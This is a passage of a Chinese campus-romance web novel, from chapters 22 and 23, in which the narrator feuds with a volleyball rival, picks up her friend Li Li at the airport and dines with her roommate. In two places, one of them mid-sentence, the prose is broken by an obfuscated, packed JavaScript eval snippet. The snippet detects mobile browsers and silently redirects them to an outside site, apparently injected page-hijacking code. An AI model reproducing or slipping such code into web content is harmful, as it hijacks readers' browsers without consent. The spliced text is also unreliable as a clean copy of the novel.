我想要的人生是怎样的?我会成为一个什么样的人?我不知道。但我知道,什么是我不想要的。看着凌静宜睡着的样子,我的脑子里一直盘旋着一个念头:我不想陷入到一段深不见底的感情。可是,那张清秀少男的侧脸,却愈发鲜明地出现在我的梦里。 第二天早上,我打开房门,正好碰到刘小叶打着哈欠,头发乱蓬蓬地从我们房间走出来,我们面对面撞见了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14997357|161687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她的眼睛瞪得很大,“小西,你在宿舍啊?微信不回,电话不接,你想吓死我啊?我差点要打电话报警了。” 哦,对了,昨晚我的手机调成了静音模式。 随后,她万分狐疑地问:“你怎么从她们房间走出来?” 还没等我回答,她突然捂着嘴,压抑自己尖叫的冲动,“我的天呐!不会是我想的那样吧?!你不会跟小陈哥发生了什么?” 不用问,她的脑子里肯定自行策划了一整部年度大戏,笑嘻嘻地说:“哦,我知道了……小西,难怪你从来都不看男生一眼……”她对着我挤眉弄眼,“你放心,我不会歧视你的。” 我差点没翻白眼昏过去,陈梦晓从卫生间走出来,嘴巴里塞着牙刷,含混不清地说:“你可别冤枉我,昨天小西睡在凌静宜床上。” 凌静宜坐在客厅里喝咖啡,她一边嫌弃地看着陈梦晓,“别把泡沫掉地上,脏死了”,一边淡定地确认,“嗯,昨天周小西跟我一起睡的。” 刘小叶像看怪物一样看着我,再看看凌静宜,终于发出一声尖叫,“啊……不是吧?你们俩……难怪一个不接受叶翔,一个不接受那个谁来着……” 凌静宜二话不说,从沙发上拽了一个抱枕砸向她。我快走两步,回房间拿了个枕头砸她,砸得她哇哇乱叫。陈梦晓火速冲向卫生间,一分钟后冲回来加入了我们的阵营。 刘小叶一边娃娃大叫着躲避我们的追打,一边拉着刚刚睡醒一脸懵逼的许苑薇加入了战斗,刚起床准备去刷牙的郑筱莫名其妙地成为了对抗一方。刘小叶趁乱跑回房间抓了两个枕头,凌静宜冷静地指挥我们围追堵截,她自己不知道从哪里抓出两个抱枕…… 这个早晨,我们在一场枕头大战里清醒过来。 就在双方胶着的时候,刘小叶突然大喊了一声:“周小西,你下午还有体育课呢,你不留点力气去打排球?” “啊!!!体育课!!”噩耗!!!我没心情跟她们闹了。 这是大学生活的另一个槽点:带有运动指标的体育课。大学里不用跑800米,可是拜托该死的“大学生德智体美劳全面发展”宗旨,体育在大一仍然是必修课,而且是带技能的必修课。 我感到深深的悲哀,是不是我这辈子都摆脱不了体育运动的纠缠。我不爱跑步,也不爱任何需要强体能的活动——我拖到了选课系统关闭的最后一天才去选体育课,悲哀地发现只剩下了排球可选。我对球类的厌恶比跑步有过之而无不及,在操场上碰到男生打篮球都会绕路走,我可不想被球砸成白痴。 更离谱的是,这门课居然要求30个学时,也就是说,每周都得上;而且还占到2个学分——毫无疑问,挂科的话会影响学年成绩。 开学之初,由于露天排球场上堆着各种钢筋混凝土,完全没有体育老师的用武之地。体育馆没修好,体育课没法上,我乐得清闲,开心到不行,甚至畅想这学期的体育课可以就此混过去。可这个月不知道那些建材挪到哪里去了,露天排球场投入使用,我们马上就接到了上体育课的通知。 我已经用遍了所有的借口,再不去上课的话,毫无意外会挂科。万念俱灰,我只能在下午两点穿着运动服准时到了排球场。 在开学后的第三个月,我正式去上了自己的第一堂体育课。 居然有人穿网球裙,真怀疑她们是不是畅想自己在热带海洋的沙滩旁边穿着比基尼打排球。拜托,这可是冬天,露天排球场寒气逼人,我穿着长袖运动服都冻得瑟瑟发抖。来上排球课的大部分都是女孩子,只有一两个男生一副生无可恋的样子,我想他们跟我一样对球类没好感。 我叹了一口气,这必然是难捱的45分钟。真不知道待会儿是我打球还是球打我。 扫视过等待上课的同学们,我想即刻调头以光速逃离,哪怕是去上最讨厌的马克思主义理论也行。冤家路窄。我竟然跟庄子羽选了同一个排球课。 体育老师用十分钟不到示范完基本姿势,宣布接下来是随堂练习,两人一组,来回喂球练习发球和颠球。老天爷一定是觉得我最近有些嚣张,没把他放在眼里,我跟庄子羽分在了一组。 刚开始的十五分钟,体育老师在场,我们互相喂球,相亲相爱的表象差点让我忽略她对我深深的恨意。随后,老师让我们自由练习走开了。 她那张看上去人畜无害的脸上浮起一个浅笑,看得我心里直发毛。从她发球和颠球的状态来看,她的排球打得很好。果不其然,她一个投球,狠狠地砸在我的肩膀上。 “哎呀,不好意思哦,我的手滑了一下。”她幸灾乐祸地看我一眼。 在接下来的二十多分钟里,这种意外层出不穷。我的每次反击,都被她轻而易举地化解了。 下课时,庄子羽带着胜利的微笑,从我旁边走过。她把头发拨到耳后,凑近我,用挑衅的语气说:“周小西,我们下节课继续。” 我抱着疼得要命的身体,咬着牙没说话。 很好!庄子羽,你惹到我了! 虽然我不屑于争斗,可我也从来不畏惧争斗! 22. 第 22 章 还有一个星期才开运动会,我们的课余生活简直乏味得要死——满满的垃圾桶昭示我们待在寝室里的时长与日俱增——这里的我们并不包括郑筱。她最近不知道在忙什么,早出晚归。周一到周五还能偶尔跟我们一起吃顿中饭,周末两天都不见踪影。 《罗密欧和朱丽叶》上上周已经在学校大礼堂公演了。 虽然大礼堂的墙壁只粉刷了一半,天花板的钢筋水泥还暴露在外面,舞台更加跟美轮美奂没有半毛钱关系,但还是吸引了大半个铭盛的新生挤在大礼堂里观赏,有些人甚至站了整整3个小时。我看着他们瞠目结舌的样子,怀疑他们能听懂百分之几。莎士比亚的剧还是有些欣赏门槛的,幸好英文系没选《麦克白》或《奥赛罗》。 正式公演之前,我们去看了彩排。郑筱穿着深棕色的裙子,跟背景布的颜色很接近。凌静宜皱着眉头说:“英文系就不能多拨点经费置办服装吗?要不是提前知道剧目,我差点以为自己走到了灰姑娘片场”。 当郑筱出现在斑驳的阳台上时,刘小叶情不自禁喊了一句“You jump, I jump!”连陈梦晓都看不下去了,忍不住狠狠戳了她几下提醒,“那是《泰坦尼克号》的台词。” 我们当中大概只有许苑薇在认真地看表演,她流露出羡慕的表情,异常真挚地对郑筱说:“郑筱,你演得太好了,就是朱丽叶本人!真没想到你的口语这么流利,就像……” 她话还没说完,刘小叶接了一句:“像蛋糕上流淌着的奶油么?” 凌静宜赞许的眼神还没来得及传达到刘小叶那里,就被她下一句“哦……My Rose!”雷得翻了个白眼。 尽管如此,《罗密欧和朱丽叶》依旧获得了空前的成功,现在整个铭盛都知道英文系有个“东方朱丽叶”。 凌静宜把它归功于凯普莱特的扮演者——他是学生会宣传部的干事,听说他力排众议把海报贴在了学校的告示栏,用学校的警告换来了曝光率;还在学院报刊上写了宣传“东方朱丽叶”的通稿。凌静宜非常欣赏他,信誓旦旦地说:“如果以后我的公司成立企宣部,这个人毫无疑问将出现在我的候选人名单上。” 对郑筱而言,话剧公演只是作为平时成绩加了分,她那一口流利的英文只是给美貌镶嵌上了一道才华的金边。当然,她给学校的各位老师留下了深刻印象,从此位列于老师们的好学生名单之上,可也仅限于此,没有实质的物质奖励。附带作用是在她的追求者名单上又增加了若干行。它就像是一道例行练习题,结束了之后我甚至没听郑筱再提起过。 如果有人无聊到去翻垃圾桶的话,会发现折断的红色玫瑰、蓝色妖姬,各种碎纸片和一把纯白的香水百合。花的主人大体是凌静宜、郑筱和我,至于碎纸片,大部分来自于陈梦晓。这些东西,在我们手里的平均时间几乎不超过三分钟。 刘小叶啧啧感慨暴殄天物,我们没有一个人搭理她。 凌静宜收到花时反应很不一般,几次之后,我大概摸出了其中的规律。 如果她收到花之后骂骂咧咧,抽出卡片读完撕碎,再把花一根根折断扔掉,那束花肯定是叶翔送的;如果她一言不发,脸色阴郁地把整束扔进垃圾桶,应该就是陈东尔送的。 今年整个像是中了蛊一样怪异,十月份才开学,据说一月下旬进入考试周,这应该是我自从上学以来所经历的最短的一个学期。而在十二月底,居然还有运动会,史无前例,空前绝后。 不过感谢运动会,这周的体育课取消。这对我来说,不啻是个天大的好消息——我还没想出对付庄子羽的办法。 有了雏形,可实施起来,并不是那么简单。小陈哥同意陪我练排球,但她提议先做体能训练。这是我不愿意面对的。 这次学校开运动会的时间正好赶上圣诞节,我们在吃饭时认真讨论过这个问题:难道学校想白天运动会,晚上圣诞晚会?据消息最灵通的刘小叶说,铭盛的校长信佛,所以铭盛从来没有圣诞晚会。我一直在想,铭盛的校长不是普林斯顿大学物理学博士,科学的世界里还能允许怪力乱神的存在?Whatever,作为一个学校的校长,他高兴就好。 在圣诞节前夕,我接到李离的电话,她说要来看我。我欢欣雀跃不已,算起来我们已经四个月没见面了,这在以前是不可想象的(感谢无所不在的微信和支付宝。只要你用过亲密付功能,就知道这是个多么强大的友情检验器)。 我破天荒第一次用微信语音问她,“你打算怎么来?” 不一会儿,收到她的语音回复,“你真的是周小西吗???被盗号了吧?!!你不是一直叫嚣应该取消微信语音功能吗?!!” 没错,我讨厌不管什么破事儿都发微信语音,尤其讨厌说满60秒的那一类人。 我发了个白眼的表情,表示不想在这个问题上纠缠。 几秒钟之后,她又回了一条,“废话,当然是坐火车。你知道机票有多贵吗?!” “坐飞机,机票我报销。”我迅速打出一行字,按下了发送键。 从Y市坐火车到W市要十几个小时,等她到的时候别说平安夜,连圣诞夜都不一定能赶得上。我唯一头疼的是怎么去接她——偏远的地方打个车都要等到地老天荒。 “啊哈,我差点忘记了你是如假包换的土豪。” 李离欢快的声音从电话里传出来,我赶紧退出了微信,心虚地四处张望了一下。 幸好我开的扬声器声音不高,幸好刘小叶带着耳机。 看,微信的语音功能多让人讨厌!! …… 李离打电话给我说准备登机的时候,我正在焦头烂额地收拾刘小叶留下的烂摊子,压根没听到她电话。等一切搞定,我看一眼手表,已经快一点了,我简直要昏过去了。 急匆匆地背上双肩包径直往外冲,拐下楼梯冲出宿舍楼大门就撞到了人。我没空抬头看,赶忙说着“对不起对不起”,继续往前冲。 “你去哪儿?”我的胳膊被一个人拽住,我正准备发脾气,一抬头看到了叶翔。 “凌静宜不在宿舍,你可以不用等了。”我挣了一下,“我赶时间,你让一下。” 他放开我胳膊,问:“你去哪儿?我正好没事,可以送你。”我觉得自己大白天见了鬼,他看了我一眼,迅速地解释道:“要是让萧楠知道我没帮你的忙,非剁了我不可。” 我犹豫了一下,脑子里的计算器开始高速运转:铭盛附近打到车的机率很低,坐公交车换机场大巴最少两个半小时,李离的飞机还有一个小时就到了。 “麻烦你,去机场。”我不准备继续矜持,算了,以后再想怎么还他人情好了。 他用了很短时间把车开了过来,我非常怀疑他是不是披着地球人外皮的外星来客,而他那辆招摇的幻影也许是光速飞船的最佳掩饰……我突然联想到新小说的男主角身份,啊,外星来客,我露出了意味深长的笑容。 叶翔摸了摸自己的脸:“我脸上有东西?” 我没有回答,直接拉开车门坐在了副驾驶位置上,系上安全带,“请用最快的速度,谢谢。” 坐在车上,我在脑海里勾画新任男主角的形象,忍不住侧过脸看他一眼,然后继续放空自己,让思绪飘在半空中。甚至有一种幻觉:我们不是在路上奔驰,而是悬浮在半空中。 我沉浸在自己构建的世界里,一时间想了太多的情节、场景和人物,我还得牢牢地记住这些,思维过载,脑袋仿佛被火车,还是那种重载列车来回轧了几次,疼痛,似乎要炸裂一样。没带随身灵感本真是最大的失策! 按住太阳穴揉搓,不经意间,我看见叶翔脸上闪过的精彩表情,仿佛坐在他旁边的不是周小西而是黑山老妖。等绿灯的时候,他惊恐地偷望了我一眼,我在他的瞳孔里看见自己脸上神秘而诡异的笑容,他很明显地打了个冷颤。 叶翔踩足油门,幻影像飞一样向前冲,它在W市的主干道上飞驰电掣。当我们冲进第一航站楼时,叶翔如同跑3000米第一个冲过终点线一样长长地呼出一口气。 机场广播正在播报“从Y市飞往W市的S368次航班即将抵达”,一向以晚点著称的J航这次居然提前抵达,李离这家伙运气好到有如神龙护体。像我这种乘坐公共交通永远晚点的人来说,想要准点到达除了借助私人座驾就是早点出门,现在只剩下了后者,我哀伤地叹了口气。 叶翔非常识时务,把我送到机场他就离开了。边界感很强。我突然有点看好他和凌静宜。 很久之后,我和叶翔成了很熟悉的朋友,他才向我描述了今天他堪比过山车一样的心情:十分怀疑自己会不会在半路就被这只幻化成周小西的妖精吃掉;顺便在心里问候了下好朋友萧楠——妈的,如果不是帮他追妞,他叶翔至于冒这么大风险吗?我沉默不语,内心腹诽:显然,他全然忘记了自己的初衷是讨好凌静宜的室友。 李离一路挥着手向我冲过来,一把抱住我又跳又叫,“小西,小西,我想死你了。你有没有想我?” 我差点被她搂得喘不过气,拼命挤出了几个字,“李离……你先放开……我快窒息了……” 李离松开她的胳膊,然后连珠炮一样扔出了一大堆问题——大学生活并没有改变她的话唠属性。 在打车去市区的路上,我一一解答了她的所有问题,她终于允许我歇了十分钟。随后,滔滔不绝地说起她这四个月的生活:学校的课程,宿舍里的姑娘,食堂饭菜,社团活动……最后,她的介绍以“我们学校没有任何帅哥,一个都没有”的哀叹告终,当然,这很李离。 我在想,如果她知道叶翔在我们学校,会不会考虑马上递交转学申请。要是让她知道萧楠在追我,而我正在以各种方式拒绝他的话,她会不会直接劈开我的脑袋,塞进去一些浪漫因子。考虑到现阶段我还是挺满意自己这颗脑袋的,我决定暂时让这些成为秘密。 一路堵车,从第一个十字路口的绿灯闪烁变红开始,我们就陷入了一路红灯的魔咒之中。 原本四十分钟的车程开了快两个小时,终于到JM酒店的时候,李离快要热泪盈眶——她的脸苍白得跟张纸一样,我怀疑再不停车她就要呕吐了。 “W市就不能多建两座高架桥吗?”在电梯里,李离露出了痛苦的表情,“难道W市人民从没想过,从天空俯瞰,行驶着的车辆就像一个挨着一个的甲壳虫,缓慢地向前爬?” “真没想到,读法律居然能让你有了文学视角。”我漫不经心地回答她。 现在,我所有的心思都停留在那一格格的电梯按钮上,几乎每一层都有人上上下下,真让我抓狂。幸好越到高层人越少。到60层时,电梯里只剩下了我和李离。60层以上都是总统套房,一晚6000多的房价足以买到清净。 我希望电梯一路不停升到78层,天不遂我愿,电梯停在了69层。 电梯门“叮”的一声打开,一个男的走了进来。他长得非常英俊,像极了时尚杂志里的奢侈品广告模特——面容精致得无可挑剔,但桀骜阴郁的气质让你确认他们只不过是一幅幅行走着的平面广告。Burberry大衣披在他的肩上,大衣下面修身款Armani西装三件套完美凸显了他瘦削有型的身材。 他从进电梯起就没看过我们一眼,好像我们是空气一样。 一向聒噪的李离像被施了魔法,站在我旁边一声不吭,我丝毫不怀疑如果有可能,她甚至都不想呼吸。从他进电梯那一刻,李离的眼睛就黏在了他身上,她眼睛一下都没眨,好像只要一眨眼,那个人就会消失一样。 我想不起来在哪里见过这个人,他浑身散发出的冰冷气息似曾相识。从骨子里透出来的寒冷,让我想即刻逃走。这个十几秒钟,大概可以列入我人生中最长时刻的前三名。 他走出去的一瞬间,我呼出一口气,如释重负。李离像刚苏醒的睡美人一样缓慢地眨动眼睛,她压低了自己的声音,但依然没办法掩饰激动的情绪,“哇塞,简直是极品!他有一种禁欲且压抑的美。你不觉得吗?” 我真怀疑李离上的不是法律系而是文学系。后来我才知道,她此时正跟一个号称流浪诗人的男人暧昧。 “而且他没看你……”李离一副不可置信的表情,“这简直太神奇了。” 我看了她一眼,嫌弃地说:“这有什么好奇怪的。又不是每个男的都会看我。” “小西,不要欺骗你自己了。”李离笑得像一只狐狸,“从初中开始,那些男生就在偷看你,频率高得我都怀疑他们会死于眼睛抽搐。” “快别瞎说了。” “你以为校花是怎么选出来的,都是那些臭男生票选出来的呀!因为这件事,隔壁班的罗茜君快恨死你了。” “她讨厌我是因为每次考试我的年级排名都在她前面。”我义正言辞地纠正。 “你说的好像她是年级第二一样。”李离有一瞬间的骄傲,因为她才是年级第二,“她连前三都进不了,怎么没见她讨厌我?” “她好像去了庆大。”我冷冷地说了一句。 我们俩都不说话了,就算我们是曾经的第一第二又怎么样,我们都没考上名校——公布大学榜单的时候,罗茜君耀武扬威地凑到我们面前,大肆说了一通风凉话——李离当时恨不得冲上去抓花她那张还算好看的脸,我倒是无所谓,只觉得有多白痴才会觉得考上名校就是人生巅峰。 JM酒店的行政酒廊,是W市唯一的一座空中旋转咖啡厅。我还没来W市就已经做了功课,对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14997358|161687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这家以米其林三星主厨操刀下午茶著称的旋转咖啡厅垂涎三尺,准确地说,是对他们的提拉米苏垂涎欲滴。谁能想到学校居然不在市区。 我从服务生“不好意思,我们这里的消费是人均五百”的高傲冷漠回复里清晰地感受到了轻蔑不屑的潜台词——看你们这穷酸的打扮,怎么能在这里消费得起;我亮出了W银行的黑卡,服务生依然用他看似礼貌实则轻视的语气告诉我:“对不起,小姐,我们只接受预约。” 去他爷爷的预约,我的攻略上根本没提到需要预约的只字片语。 我在咖啡厅门口跟服务生面红耳赤地争论了十分钟,甚至拉出了他们餐厅的客户点评,他仍然轻轻摇了摇高昂着的头,说:“很不巧,你们赶上了餐厅新规定的第一天。A rule is a rule”。李离悄悄地拉了拉我的袖子,小声说:“小西,我们换个地方吧。” “A bitch, is always a bitch”,我在心里狠狠地骂了一句,怒气冲天地拨通了爸爸秘书的电话。十五分钟之后,在那个服务生略显惊讶的目光里,我们由餐厅经理领着趾高气扬地走进了咖啡厅,并坐在了整个咖啡厅视野最好的位置上。 坐在窗边的四人座上,透过巨大的落地玻璃将W市的风景一览无余时,我终于感受到在铭盛生活的周小西和处在这个环境里的周小西有多么的不同,也可以说,作为普通个体的周小西和作为周利伟女儿的周小西是割裂的。玻璃窗上倒映出李离和我的轮廓,有一瞬间我觉得自己有些陌生。 李离搅动着咖啡,“小西,你知道吗,我刚出来的时候差点没认出你来。你跟以前有点不一样了。” “有什么不一样?还不是两只眼睛一个鼻子,又没长出三头六臂。” 我挑了一大块传说中的提拉米苏塞进嘴里,瞬间涌起一股满足感,太好吃了。 “我也不知道,就感觉……”她的身体稍稍向后倾,上上下下打量我一遍,“说不上来,但就是觉得不一样了。” “大概是我全身上下加起来都不到500块,让你感觉陌生?”我又点了一块芝士蛋糕,吃了一口就放下了。这两块蛋糕完全不像出自同一个糕点师之手,芝士蛋糕跟提拉米苏比,差得太远了。攻略没有欺骗我。 李离想了想,摇了摇头。 “那是不是你的课程里有哲学或玄学什么的?”我用玻璃棒搅动果汁,看着浮在表面的泡沫一点点打散,沉在底部的细微果肉翻动着浮上来,又一点点沉下去,最后和液体融为一体。我的脑子里却浮起疑问:不过短短四个月没见,我真有这么大变化? 她没理我,一副若有所思的表情。我的毛孔竖了起来,每次李离露出这个表情,要么有重大发现,要么有雷到爆炸的言论。 “啊……我知道了!”她突然吼了一声,吓了我一跳,“你以前总是一副对什么都不感兴趣的样子,嗯,对,就是现在这副性冷淡的表情……” 我忍不住翻个了白眼,顺便质疑她的遣词造句跟我是否同一个语文老师教的,“喂喂喂,你是不是我好朋友啊?性冷淡又是个什么鬼?!” 她眨着亮闪闪的圆眼睛,无视我的抱怨,右手托着腮帮说:“现在你的眼睛里有光。” “说得跟我以前是瞎子一样。” “就拿刚刚的事情来说,以前你应该会直接打电话给你爸吧?哪会在门口跟服务生据以力争?” 我歪着头想了一下,好像是这么回事——以前我总觉得能让我爸解决的事情自己还搀和简直是傻逼,现在我觉得如果自己能解决的事情找我爸才是傻逼。 “你意思是,我变得……世俗……了?”我有些迟疑,带着不能相信的口吻,同时在心里捶胸顿足——刘小叶对我造成的影响竟然这么大?我要回去向她索赔! 李离像被踩了尾巴的猫一样叫起来,“我在夸你好不好?!” 我赶忙按住她的肩膀,顺便瞄了一眼四周。果然,我们座位大约直径两米范围内的人毫不吝啬向我们俩投来谴责的目光,靠近我们桌子的那个胖女人轻蔑的眼神里分明在说“真没教养”。我迅速回了她一个白眼——关你屁事,老太婆,好好喝你的咖啡。 “你这种夸人方式……”我仔细斟酌了一下用词(省得又惹毛她),“我不太能……理解。” 她瞟了我一眼,“亏你读了那么多书!我是在说,你变得鲜活生动,更有人味了。以前你淡然得像尊佛。” “包括跟人吵架?”我不能理解她的逻辑,“那不是说明我没教养?” 她一副受不了我的表情,“总之,我是在夸你。”显然,她不想在这个问题上继续纠缠下去,“说真的,小西,我越来越喜欢你了……” 这句话有些耳熟,谁说过来着,好像是刘小叶。鸡皮疙瘩像雨后春笋一样扎堆冒出来。我摸了摸自己的胳膊,说:“李离,你什么时候变得这么肉麻了?” “你要学会接受别人的喜爱。”她望着我,“你拉出所有的客户点评据理力争的行为,我只有一个词来形容——Cool。” 诚然,我是一个富二代,可我并不自信。李离懂得我那颗不敏感甚至有些麻木的小心脏,看上去钝感十足,实则自信有限:解气之余,我懊恼依然要借助我爸的关系,才能堂而皇之地坐在这里。 这么说起来,以前的我一直严格执行双重标准:一边痛恨因为我是周利伟的女儿给予特权,一边享受种种便利且不引以为耻。 “少来。”我努力忽略不熟悉的情绪,把手伸向她面前粉蓝色的马卡龙,“我不会因为你拍马屁而让你多吃一块的。” “这才像我认识的周小西嘛。” 在车上,我们已经聊了很多各自的生活。李离终于进入了她的正题——八卦,我很想介绍刘小叶跟李离认识,她们俩应该会很聊得来。 太阳慢腾腾地从对面建筑物的一边向另一边滑去,漫天的红霞像纱巾一样笼罩着远处的天空,恍若夏夜,瑰丽而绚烂。 日薄西山,夕阳透过落地窗洒在桌子上。桌上器皿的杯沿和甜点镀上了一层浅金色的光晕,咖啡上面的拉花早已失去了原先的形状,一层咖色一层奶色间隔着浮动,小漩涡在纯白透明的杯子里飞速旋转。 我和李离没有再说话,安静地看着夕阳,这是最廉价但真实的幸福。 幸福是什么?大概就是你的生命里有那么几个人,就算彼此不说话,只是安静地坐着,都觉得安定。 日出星辰,江河大山,自由的呼吸,平静的内心,纯真的友情……很多年以后,我们才能体会到这些才是生命真正该追求的,可年轻的我们,并不懂得。此时此刻,我只是坐在那里,看着夕阳一点点没入远处的山脊后面,街灯一盏接一盏地亮起来,享受金钱带来的惬意。 23. 第 23 章 在去W市著名的“慕色”日料吃晚饭的路上,李离已经八卦完了所有她能八卦的事情。进入慕色之后,我们进入了闲聊时光——没有主题,跳跃式话题乱炖,想到哪儿说到哪儿。 “对了,我给你推荐个作家,我特别喜欢他。W市应该有《N.Z》杂志吧,他一直上面连载。” 我挺直了脊背,突然有不详的预感。虽然对于作者来说,书迷越多越好,可被李离这种读了好几遍都不知道作者在说什么的书迷喜欢,似乎不是那么光荣。鬼才知道她究竟把作者原意曲解成什么样子…… “不会是陆星洺吧?”我有些忐忑地问。 她眉飞色舞地说:“哎哎哎……你是不是也看他的连载?很有才对不对?我们宿舍几个都是他的铁粉,就是一周一更太慢了……我准备写信去《N.Z》提议加刊。” 晴天霹雳也不过如此。 “你真的看得懂……吗?”我绕着自己的指头,深刻地怀疑。 李离没来得及表达她的不满,就被侍应生截断,“两位,没有预定的话只剩下最里面的房间了,看不到江景,你们介意吗?如果想要江景位,要等两个小时左右。” 我们对视了一眼,摇了摇头。 我从来不等位,把人生浪费在等位上,还不如用在睡觉上。而李离,只要有好吃的,她对环境的要求可以降到路边摊。 跟着侍应生一路往前走,很多包间依然空着,李离压低了声音说:“江景又不能当饭吃,只要不靠近厕所,都是好位置。” 刚刚走过正中间的包间,“周小西?”一个熟悉的声音从我背后传过来,我的头发一阵发麻。今天刘小叶说双子座出门会遇熟人,我还嘲笑她是星座神婆——偌大的W市我才认识几个人呀,在学校里碰到叶翔也就算了,吃个饭居然还能碰到凌静宜?!刘小叶应该去摆摊算卦! 我转过身,果然是她。她只有一个人,面前却摆着三个人都吃不完的海鲜刺身、牡丹虾和其他一堆高级食材。 她的包间应该是整个“慕色”视野最好的,更吸引我的是她手里握着的瓶子——矮矮的,胖乎乎的,绘着樱花图案——“慕色”家的招牌樱花酿清酒,每天限量供应。我一进店就迫不及待问过了,然而被告知今日份全部售罄。 “你朋友?要不要一起坐?”她自顾自倒了一杯,我不自觉咽了咽口水。 从那次夜谈之后,我们的关系变得有些微妙——我们俩很默契地没再提起,也没有走得更近,反而有一些疏远。我正艰难地想拒绝的理由,马上被她接下来的一句“我点了三瓶樱花酿,应该够喝”动摇。 内心做了虚弱的挣扎之后宣布缴械投降,所幸脑子还没有完全罢工——我拖着李离的胳膊,对凌静宜说:“我们去个洗手间,马上来。” 李离显然在神游太虚,快到洗手间门口了,她问:“小西,我们不吃饭啦?” 我真想一巴掌扇过去把她打醒。她一脸疑惑地问:“刚刚那是谁呀?” 来回看了两次,确定凌静宜没有因为喝多了酒也跑来上厕所,我压低声音附在她耳边叮嘱她,“我室友凌静宜。她不知道我的家境,你可别给我说漏嘴了。” 李离的嘴巴张得很大,“你居然还没曝光……”她啧啧了两声,“她们都瞎了吗?” “在刚刚那个富家女的巨大光辉下,暴露了才奇怪……”在李离面前,我可以肆无忌惮地谈论这件事。 李离像回光返照一样恢复了判断力,喃喃自语:“你们怎么没有产生同类相吸的磁场?她比原来的你还性冷淡……” 接着,我想到了另一件事——就我现在的人设标准,到慕色来消费极不合理。 “如果她问起来,就说你请客。” 李离看一看我,再看了一眼自己,“我哪里像富人?眼瞎原来也是会传染的……” 她在我准备拿起屠刀的眼神里火速逃离了,可惜她的方向感一如既往的没长进,我叹了口气,把跑错了方向的她拉了回来。尽管我的方向感也很差,可跟李离比起来,我就是指南针一样的存在。我妈一直觉得我们俩长这么大没丢了真是个奇迹。 我们回到包间,凌静宜已经把第一瓶樱花酿倒了个底朝天。我一阵心疼,都怪李离!给她们俩做了简单介绍,我翘首盼望第二瓶樱花酿赶紧送上来。 自从接收了我的警告,李离一反常态表现得像圣洁的观世音——吃了一块三文鱼腩之后,她姿态端庄地坐在那里一言不发。 凌静宜看了她两眼,“你朋友不舒服吗?” 我尴尬地笑了笑,和李离对视了几秒——她即刻在我的眼神里接收到了“你妹的,给我放开了吃”的讯号。 “没有,没有,我刚刚只是在酝酿吃饭的情绪。”然后她开始上一盘光半盘,我差点翻个白眼直接晕死在桌子上。 “对了,你们怎么会来这里吃饭?”凌静宜果然问到了送命题。 “我请客。”李离刚把一只牡丹虾塞进嘴巴,虾尾巴随着她说话在嘴角颤动了两下。她猛地一吸,虾哧溜一声滑了进去。她心满意足地舔了舔嘴巴,像一只偷吃了鱼的猫。 我迅速低下头,恨不得拿碗挡住自己的脸——我们应该去国际大品牌肯德基或麦当劳解决晚饭,高档餐厅不适合我们。 我心虚地解释:“既然她请客,我就选了家贵的餐厅。” 凌静怡依然镇定地夹着菜,好像她没看到那一幕,“品味不错。” 我总觉得她在我和李离之间来回扫视,试图找出我说谎的证据。 气氛有点尴尬,我和她们中的任何一个吃饭都不会冷场,可我们仨的组合完全不是这样——我和凌静宜避重就轻地聊废话,李离已经快把自己埋进盘子里了。果然,在凌静宜的强大气压下,李离的自来熟属性被全面压制。 默默后悔不该受樱花酿的引诱。不过,穿着和服的女侍应迈着小碎步它送上来的时候,一种夙愿得偿的感觉在我心底蔓延开来,一口入喉,我彻底忘记了后悔是什么。 我不知道是怎么回的宿舍,只记得樱花酿在唇齿间蔓延的味道。 感觉自己睡了很久,好像有一个世纪那么长。我做了一个无比美妙的梦:明媚的春日,漫天飞舞的粉红色樱花,干净英俊的计算机房少年,我安静地伏在他充满了年轻荷尔蒙气息的胸膛上,他温柔地揉着我的头发,低下头轻轻浅浅地吻我的额头……意乱神迷的清香四散,四周充满了巨大的粉红泡泡,我像一片轻柔的羽毛在暖阳里飘着…… “你们到底干嘛去了?小西怎么笑得跟个二百五一样。”刘小叶有点担心地看着床上那个扭来扭去,满脸红扑扑的人。 凌静宜靠在书桌旁边,瞥一眼那个像条巴蛇一样扭动的人,摇着头说:“酒品不错,酒量太浅……才喝了半瓶桃花酿就这样了。” 李离凑近了,仔细看了两眼,“怎么像是犯花痴?我天,不会是做春梦了吧?你们平时都给小西灌输了什么黄色废料?” 我睁开眼睛的时候,一张看上去陌生又熟悉的脸就在我上方距离20公分不到的地方。用李离的话说,我当时的尖叫声媲美足以震碎玻璃窗的海豚音。终于知道为什么文学作品里男女主接吻时都会闭眼了:就算是美得目眩神移或帅得人神共愤,那么近距离,五官都被放大到无比奇怪的程度,怎么还啃得下去? 李离和刘小叶的反复逼问,我心虚地以洗澡为借口躲进了卫生间,流水的声音也没能抵挡我剧烈的心跳声和她们在外面讨论“你们猜,她究竟梦到什么了?” 我洗完澡擦着滴水的头发走出浴室,李离和刘小叶盘腿坐在客厅的沙发上讨论起八卦了。逃过一劫。陈梦晓从她房间晃荡到了客厅,不过短短的三分钟,她已经顺利地俘获了李离这个颜控——如果不是刘小叶说的八卦太精彩,转移了她的注意力,她可能整晚都盯着陈梦晓。 大概八点一刻,许苑薇从图书馆回来了,手里拿着一本《近现代艺术史》。李离饶有兴致地跟她讨论了下艺术复兴的几位画家和雕塑家,她没告诉我她选修了艺术史。 